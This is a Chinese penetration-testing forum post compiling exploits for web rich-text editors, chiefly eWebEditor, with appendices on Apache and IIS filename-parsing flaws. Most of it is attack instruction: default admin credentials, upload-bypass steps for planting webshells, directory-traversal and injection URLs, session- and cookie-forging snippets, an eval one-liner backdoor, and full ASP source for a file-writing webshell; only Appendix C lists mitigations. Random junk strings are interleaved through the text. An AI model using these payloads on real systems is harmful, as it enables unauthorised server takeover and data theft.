中国网络渗透测试联盟

标题: eWebEditor编辑器漏洞大全 [打印本页]

---

作者: admin    时间: 2012-9-13 17:00
标题: eWebEditor编辑器漏洞大全

% A+ t$ _- j6 y1 \# }9 c
2 d; O! B0 Y0 s2 h$ i: [- H--------------------------------------------------------------------------------
+ n4 A8 o6 ]' r6 x9 E( o$ @# ~eWebEditor
eWebEditor利用基础知识
默认后台地址：/ewebeditor/admin_login.asp
建议最好检测下admin_style.asp文件是否可以直接访问

# I& Y' l, l  f& F/ @后台：admin/ewebeditor/admin_login.asp
数据库：admin/ewebeditor/db/ewebeditor.mdb
; t8 |2 U: k1 M& B限制ASP   改成asaspp   aaspsp

  z+ S: I7 V1 v, Z/ `7 [默认数据库路径：[PATH]/db/ewebeditor.mdb
                [PATH]/db/db.mdb            -- 某些CMS里是这个数据库
. H& o2 e  L' W4 Z也可尝试        [PATH]/db/%23ewebeditor.mdb -- 某些管理员自作聪明的小伎俩
6 m  v) H: O! m) w# ?7 P/ U  ~
使用默认密码：admin/admin888 或 admin/admin 进入后台，也可尝试 admin/123456 （有些管理员以及一些CMS，就是这么设置的）
  Y1 P3 [. H9 o4 h3 K. t6 _# i
2 b$ t+ `' ]( T, Y% R# c8 l! f点击“样式管理”--可以选择新增样式，或者修改一个非系统样式，将其中图片控件所允许的上传类型后面加上|asp、|asa、|aaspsp或|cer，只要是服务器允许执行的脚本类型即可，点击“提交”并设置工具栏--将“插入图片”控件添加上。而后--预览此样式，点击插入图片，上传WEBSHELL，在“代码”模式中查看上传文件的路径。
  w. W( ^. g8 }0 v0 Y! E
, q# v) R. L5 @1 E2、当数据库被管理员修改为asp、asa后缀的时候，可以插一句话木马服务端进入数据库，然后一句话木马客户端连接拿下webshell
3 o: f2 H2 `( e0 l: }3 }4 m3、上传后无法执行？目录没权限？帅锅你回去样式管理看你编辑过的那个样式，里面可以自定义上传路径的！！！
4、设置好了上传类型，依然上传不了麽？估计是文件代码被改了，可以尝试设定“远程类型”依照6.0版本拿SHELL的方法来做（详情见下文↓），能够设定自动保存远程文件的类型。
/ {. j( b7 }7 S! M. I" o5、不能添加工具栏，但设定好了某样式中的文件类型，怎么办？↓这么办！
(请修改action字段)
% ^, G) i: t8 Y( \, W7 i) l% r$ ]Action.html
: b( j5 `0 }1 z1 `( q
eWebEditor踩脚印式入侵
- j* X7 m# R, Q! ~+ B% {! k+ }脆弱描述：
当我们下载数据库后查询不到密码MD5的明文时，可以去看看webeditor_style(14)这个样式表，看看是否有前辈入侵过 或许已经赋予了某控件上传脚本的能力，构造地址来上传我们自己的WEBSHELL.
! _- W( p7 _6 A) {5 E& T攻击利用:
' @/ h/ S8 [+ r( X5 V6 ]5 d: I比如   ID=46     s-name =standard1
构造 代码:   ewebeditor.asp?id=content&style=standard
             ID和和样式名改过后
             ewebeditor.asp?id=46&style=standard1
, b9 w3 S' q; i$ L
eWebEditor遍历目录漏洞
8 |' r0 J: C! f2 m; T8 w脆弱描述：
ewebeditor/admin_uploadfile.asp
3 ?  {. h0 O7 \- L6 X2 @/ yadmin/upload.asp
# v/ @- |! [7 s( Y. o8 V过滤不严，造成遍历目录漏洞
# e# \3 `* M9 P& C0 e攻击利用:
第一种:ewebeditor/admin_uploadfile.asp?id=14
在id=14后面添加&dir=..
2 |) |& q. S% b0 u2 q$ y. T再加 &dir=../..
&dir=http://www.heimian.com/../.. 看到整个网站文件了
* ?! t; ^  ^/ i/ q  E( a$ A第二种: ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./..
  R( M! e; L/ T" |! ]/ H* {1 C
6 p/ A* U/ L' K- F2 N+ k2 CeWebEditor 5.2 列目录漏洞
9 m* ^2 ~7 h6 L& q脆弱描述：
ewebeditor/asp/browse.asp
0 g3 G+ V/ p! ~' p/ W, s+ S过滤不严，造成遍历目录漏洞
/ ]% \5 T! l# {% X% l攻击利用：
: A$ G7 B* Y- P! [* |) R. |/ _, z; [( Ehttp://www.heimian.com/ewebedito ... tandard650&dir=…././/..
  I) w7 u  \( |+ V$ \: _; f
利用WebEditor session欺骗漏洞,进入后台
  l& ?  y. ^  j. o$ J# Q脆弱描述：
  J6 ~9 l, e; U1 T; g漏洞文件:Admin_Private.asp
3 q; V- M/ r! F' r& H6 w只判断了session，没有判断cookies和路径的验证问题。
8 t5 s- S! @8 e% M攻击利用:
7 J5 z; M3 x- j2 ?新建一个test.asp内容如下:
<%Session("eWebEditor_User") = "11111111"%>
访问test.asp，再访问后台任何文件，for example:Admin_Default.asp

3 N* D# l7 _1 E7 P" ceWebEditor asp版 2.1.6 上传漏洞
" v5 D3 n; L3 K- C& |攻击利用:（请修改action字段为指定网址）
- y5 s* }. i/ Uewebeditor asp版2.1.6上传漏洞利用程序.html

1 t* i4 u4 b, u, meWebEditor 2.7.0 注入漏洞
2 ^) P3 t: H& r  [9 B& w6 V1 v攻击利用:
http://www.heimian.com/ewebedito ... amp;style=full_v200
) L! |3 L# K$ f( j, N默认表名：eWebEditor_System默认列名：sys_UserName、sys_UserPass，然后利用nbsi进行猜解.
% V5 |* Y) Z+ ~- Z0 ~8 J) @
eWebEditor2.8.0最终版删除任意文件漏洞
0 t! \+ U# i; P+ y* L脆弱描述：
  Z' h( v6 i3 ~% k, V1 z此漏洞存在于Example\NewsSystem目录下的delete.asp文件中，这是ewebeditor的测试页面，无须登陆可以直接进入。
- `4 `% ~8 C; D) R- w7 f攻击利用: (请修改action字段为指定网址)
" C4 |: P/ Q/ _0 I" [/ T9 x& \7 Q4 DDel Files.html

eWebEditor v6.0.0 上传漏洞
攻击利用:
: b. d2 k3 x6 g7 U/ {! L在编辑器中点击“插入图片”--网络--输入你的WEBSHELL在某空间上的地址（注：文件名称必须为：xxx.jpg.asp 以此类推…），确定后，点击“远程文件自动上传”控件（第一次上传会提示你安装控件，稍等即可），查看“代码”模式找到文件上传路径，访问即可，eweb官方的DEMO也可以这么做，不过对上传目录取消掉了执行权限，所以上传上去也无法执行网马.

利用远程上传功能！
        比如s_full样式就存在这个功能，打开编辑页面，然后图片，选择输入url 比如:.asp ! 然后选择上传远程文件！自动就把1.gif.asp 保存在上传目录内！注:网上的东西大部分传来传去，这个办法愚弄自己还成！文件的确显示后缀为.asp 但是不能访问，因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有！而且gif的内容就是我们这个url的路径！呵呵，后来又看到一个利用方式！是利用远程搜集的时候执行,我们文件的代码生成另外的小马！
5 ]2 c8 ]* ]7 U, w        利用代码如下:
% M& m4 A- y: r- @+ X9 i- I首先建立1.gif.asp 代码如下
<%
Set fs = CreateObject("Scripting.FileSystemObject")
Set MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)
( i% V1 f; _; s' G! i, OThetext=MyTextStream.ReadAll
) h3 i0 F& q& l5 x) j( @response.write thetext
%>
* i( V9 g5 R# @0 L4 n: C- }在我们的1.gif.asp的同目录下建立一个akteam.asp文件，内容就是我们的小马：
<%on error resume next%>
' Z" k. s  j. H<%ofso="scripting.filesystemobject"%>
! [1 ~% w) ~" p% k; B( o8 h( e3 x<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
- ~6 _/ {$ z! s5 \# c' s( P& a  W<%if path<>"" then%>
<%data=request("dama")%>
' D  N8 f; r9 \! H<%set dama=fso.createtextfile(path,true)%>
! z9 L+ h8 G6 [* C" A( W5 [<%dama.write data%>
<%if err=0 then%>
( w8 ~0 p" G) h( f8 }3 R0 g<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
6 ^- ?! S  O/ z<%dama.close%>
+ t0 Z) {" j. R  F$ |! P& v2 r<%set dama=nothing%>
! j& x1 S4 }' \+ V1 R8 N4 X<%set fos=nothing%>
<%="<form action='' method=post>"%>
& k7 w( B% ^- |<%="<input type=text name=path>"%>
: e2 i( s* T( X3 b* f; w<%="<br>"%>
6 z4 I2 f5 u6 ]. j<%=server.mappath(request.servervariables("script_name"))%>
9 |4 W  v0 }, k& c% h1 o<%="<br>"%>
0 n) D4 W) P& `. n5 W# N<%=""%>
  g$ Y  H& s0 l<%="<textarea name=dama cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
* k- u4 E+ l3 X& ?利用上面说的远程上传的方式！可以得到webshell！成功率取决于，虚拟主机的安全设置！

; o$ ]9 i# E- M* F- GeWebEditor PHP/ASP…后台通杀漏洞
. m/ Q  j8 s2 H1 |影响版本: PHP ≥ 3.0~3.8与asp 2.8版也通用，或许低版本也可以，有待测试。
攻击利用:
0 T) N+ }" Y' L+ d; H6 J$ n2 C* b进入后台/eWebEditor/admin/login.php,随便输入一个用户和密码,会提示出错了.
0 p6 I; [+ b3 U& A1 m; W这时候你清空浏览器的url,然后输入

/ w" ~) y* D" l+ i3 u4 t* yjavascript:alert(document.cookie="adminuser="+escape("admin"));
javascript:alert(document.cookie="adminpass="+escape("admin"));
javascript:alert(document.cookie="admindj="+escape("1"));
% J$ A. r6 K8 v/ J" ?1 K7 I% f
+ I6 q" Q% I  a9 {而后三次回车,清空浏览器的URL,现在输入一些平常访问不到的文件如../ewebeditor/admin/default.php，就会直接进去。

eWebEditor for php任意文件上传漏洞
# B- J  B# j4 \) T8 C影响版本:ewebeditor php v3.8 or older version
脆弱描述:
# ^8 @0 }* Q! D& m* B3 A此版本将所有的风格配置信息保存为一个数组$aStyle,在php.ini配置register_global为on的情况下我们可以任意添加自己喜欢的风格，并定义上传类型。
攻击利用:
0 q3 D( K7 I0 Y' Iphpupload.html
1 j/ _. B" x1 g
1 M& m, @+ O8 BeWebEditor JSP版漏洞
1 Z( b/ Q5 J5 T. j% z大同小异，我在本文档不想多说了，因为没环境 测试，网上垃圾场那么大，不好排查。用JSP编辑器的我觉得eweb会比FCKeditor份额少得多。
给出个连接：http://blog.haaker.cn/post/161.html
还有：http://www.anqn.com/zhuru/article/all/2008-12-04/a09104236.shtml
. d- S9 K$ D8 N  p! P. p
eWebEditor 2.8 商业版插一句话木马
  P- E& t' l0 M+ i" G影响版本:=>2.8 商业版
攻击利用:
9 l8 W2 C: _- s2 K" L1 E* H登陆后台，点击修改密码---新密码设置为 1":eval request("h")’
: G4 ~# a9 {4 x) p设置成功后，访问asp/config.asp文件即可，一句话木马被写入到这个文件里面了.

$ \! q$ ?% _" F. \6 KeWebEditorNet upload.aspx 上传漏洞(WebEditorNet)
/ w2 d+ h: v2 T% J0 l, ]) _' f脆弱描述：
WebEditorNet 主要是一个upload.aspx文件存在上传漏洞。
) x: H( V* Y, C: n/ l攻击利用:
3 {) [/ U+ N( e+ w5 U* Y4 K默认上传地址：/ewebeditornet/upload.aspx
4 A, K- h7 N+ D) U" t可以直接上传一个cer的木马
如果不能上传则在浏览器地址栏中输入javascript:lbtnUpload.click();
# P0 ?- M. q6 R: u& {成功以后查看源代码找到uploadsave查看上传保存地址，默认传到uploadfile这个文件夹里。
4 y" X3 V$ x0 y
$ J2 i0 @- C; S% A/ Osouthidceditor(一般使用v2.8.0版eWeb核心)
http://www.heimian.com/admin/sou ... /southidceditor.mdb
2 A: `7 B3 [7 W' ^- uhttp://www.heimian.com/admin/southidceditor/admin/admin_login.asp
3 M5 Z, K! o) h9 Q% b+ W3 t" M- d; bhttp://www.heimian.com/admin/southidceditor/popup.asp
: ~4 t6 `+ E7 I  D: n% u3 H
1 i. @$ r5 d' U- @1 Z$ L: X/ H- q/ ybigcneditor(eWeb 2.7.5 VIP核心)
. M% m1 s( z( ?4 p; t/ \其实所谓的Bigcneditor就是eWebEditor 2.7.5的VIP用户版.之所以无法访问admin_login.asp，提示“权限不够”4字真言，估计就是因为其授权“Licensed”问题,或许只允许被授权的机器访问后台才对。

或许上面针对eWebEditor v2.8以下低版本的小动作可以用到这上面来.貌似没多少动作?
# }$ ~4 \0 D6 Q1 {--------------------------------------------------------------------------------
# ~1 T1 V% n# A+ ^Cute Editor
Cute Editor在线编辑器本地包含漏洞
影响版本:
CuteEditor For Net 6.4
' o0 y0 K8 @2 F脆弱描述：
) K% O$ x4 V, H1 ?可以随意查看网站文件内容，危害较大。
9 d" k; m: k# C0 Y8 G攻击利用:
9 n  `) K# G) r  f! |http://www.heimian.com/CuteSoft_ ... ../../../web.config
1 Y, Z+ \# B) E$ `- `) K5 d
! h6 C' X8 I( N! _, q$ C" q--------------------------------------------------------------------------------
1 \  B# l% Z2 k/ e) R: u( zWebhtmleditor
6 L2 {5 i6 v$ G, q  H( x利用WIN 2003 IIS文件名称解析漏洞获得SHELL
8 ~9 s& H2 n  p/ B% o; i* T影响版本：<= Webhtmleditor最终版1.7 (已停止更新)
" o* O' ~0 ?( c, ]6 l% ]  J) r脆弱描述/攻击利用：
7 R+ ?: f; a9 N- F对上传的图片或其他文件无重命名操作，导致允许恶意用户上传diy.asp;.jpg来绕过对后缀名审查的限制，对于此类因编辑器作者意识犯下的错误，就算遭遇缩略图，文件头检测，也可使用图片木马 插入一句话来突破。

) A. O8 n. g* ]* ^--------------------------------------------------------------------------------
+ y; |$ m% g( k, `, ?& bKindeditor
利用WIN 2003 IIS文件名称解析漏洞获得SHELL
影响版本: <= kindeditor 3.2.1(09年8月份发布的最新版)
' a0 t' G/ i- `7 P2 S9 A( t0 E5 \脆弱描述/攻击利用：
) H: [" }! x- F. G4 `拿官方做个演示：进入upload/2010/3/201003102334381513.jpg 大家可以前去围观。
8 P5 u. H. _2 z1 E6 U; ~: X1 |Note:参见附录C原理解析。
1 P6 {8 M+ a, D1 p' O, F, q9 a1 F
1 x4 G' y$ _+ _' l" ]5 B--------------------------------------------------------------------------------
; ~$ x6 a7 K& ?1 I/ Z" O$ kFreetextbox
, y8 y& O0 O* S+ E1 _# v, V* g$ E6 NFreetextbox遍历目录漏洞
5 [" R# ~& ]5 \影响版本：未知
7 M) z% R* p! {! U  h, l& U6 |4 U脆弱描述：
: O" L. s: l+ H0 b6 B2 E7 R因为ftb.imagegallery.aspx代码中 只过滤了/但是没有过滤\符号所以导致出现了遍历目录的问题。
攻击利用:
' B4 j. a) n' F0 n1 F在编辑器页面点图片会弹出一个框（抓包得到此地址）构造如下，可遍历目录。
: ^7 P8 W" a5 j9 Jhttp://www.heimian.com/Member/im ... amp;rif=..&cif=\..
--------------------------------------------------------------------------------

/ Z. K2 ^% d4 T0 E# h附录A：
Apache文件名解析缺陷漏洞：
测试环境:apache 2.0.53 winxp,apache 2.0.52 redhat linux

2 `4 @) l; Q- f6 x% Z% P1.国外(SSR TEAM)发了多个advisory称Apache's MIME module (mod_mime)相关漏洞,就是attack.php.rar会被当做php文件执行的漏洞，包括Discuz!那个p11.php.php.php.php.php.php.php.php.php.php.php.php.rar漏洞。
3 ^$ N1 T9 W' N! M
! o$ l3 j+ J/ |. Z+ q+ m. o" b" `2.S4T的superhei在blog上发布了这个apache的小特性，即apache 是从后面开始检查后缀，按最后一个合法后缀执行。其实只要看一下apache的htdocs那些默认安装的index.XX文件就明白了。
+ B5 A5 m! o, r2 d: ~% x
3.superhei已经说的非常清楚了，可以充分利用在上传漏洞上，我按照普遍允许上传的文件格式测试了一下，列举如下(乱分类勿怪)
典型型:rar
备份型:bak,lock
流媒体型：wma,wmv,asx,as,mp4,rmvb
0 p% X; C( G# b$ @; ]3 N! h% n4 a微软型:sql,chm,hlp,shtml,asp
任意型:test,fake,ph4nt0m
特殊型:torrent
程序型：jsp,c,cpp,pl,cgi
% Z; X! k! \+ T; b6 q4 P* u
: o8 ~( Y- T4 k- `0 e' N4.整个漏洞的关键就是apache的"合法后缀"到底是哪些，不是"合法后缀"的都可以被利用。
5.测试环境
0 a. v# |; d  ]( R# _- x; _# S& A- @a.php
7 u, Y) ]& U5 p5 r. E6 n% V<? phpinfo();?>
然后增加任意后缀测试,a.php.aaa,a.php.aab....

/ M% I4 j, G5 H& }' ~8 \5 \By cloie, in ph4nt0m.net(c) Security.

附录B：
安装了iis6的服务器(windows2003)，受影响的文件名后缀有.asp .asa .cdx .cer .pl .php .cgi

4 c) i( C; i* _: j( s% G$ s! rWindows 2003 Enterprise Edition是微软目前主流的服务器操作系统。 Windows 2003 IIS6 存在着文件解析路径的漏洞，当文件夹名为类似hack.asp的时候（即文件夹名看起来像一个ASP文件的文件名），此时此文件夹下的任何类型的文件(比如.gif，.jpg，.txt等)都可以在IIS中被当做ASP程序来执行。这样黑*客即可上传扩展名为jpg或gif之类的看起来像是图片文件的木马文件，通过访问这个文件即可运行木马。如果这些网站中有任何一个文件夹的名字是以 .asp .php .cer .asa .cgi .pl 等结尾，那么放在这些文件夹下面的任何类型的文件都有可能被认为是脚本文件而交给脚本解析器而执行。
2 w; g# K. Q* n' c! }+ O$ P
+ H8 @* U1 ~& n1 y9 A" ~; m2 c附录C：
  `" R7 `! X/ A& t/ o: K) m, s漏洞描述：
    当文件名为[YYY].asp;[ZZZ].jpg时，Microsoft IIS会自动以asp格式来进行解析。
& n- {9 G3 e9 U- G% E( i    而当文件名为[YYY].php;[ZZZ].jpg时，Microsoft IIS会自动以php格式来进行解析。
    其中[YYY]与[ZZZ]处为可变化字符串。
! U; \0 ?0 G3 Y影响平台：
    Windows Server 2000 / 2003 / 2003 R2 (IIS 5.x / 6.0)
# G) E7 I! O; t* b$ g- K, B修补方法：
3 a4 S; h0 w3 v    1、等待微软相关的补丁包
; {, p. P. P! b    2、关闭图片所在目录的脚本执行权限（前提是你的某些图片没有与程序混合存放）
    3、校验网站程序中所有上传图片的代码段，对形如[YYY].asp;[ZZZ].jpg的图片做拦截
; m+ Y+ M% K% z备注：
% W- R6 p9 h* l# c3 s    对于Windows Server 2008(IIS7)以及Windows Server 2008 R2(IIS7.5) 则未受影响

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2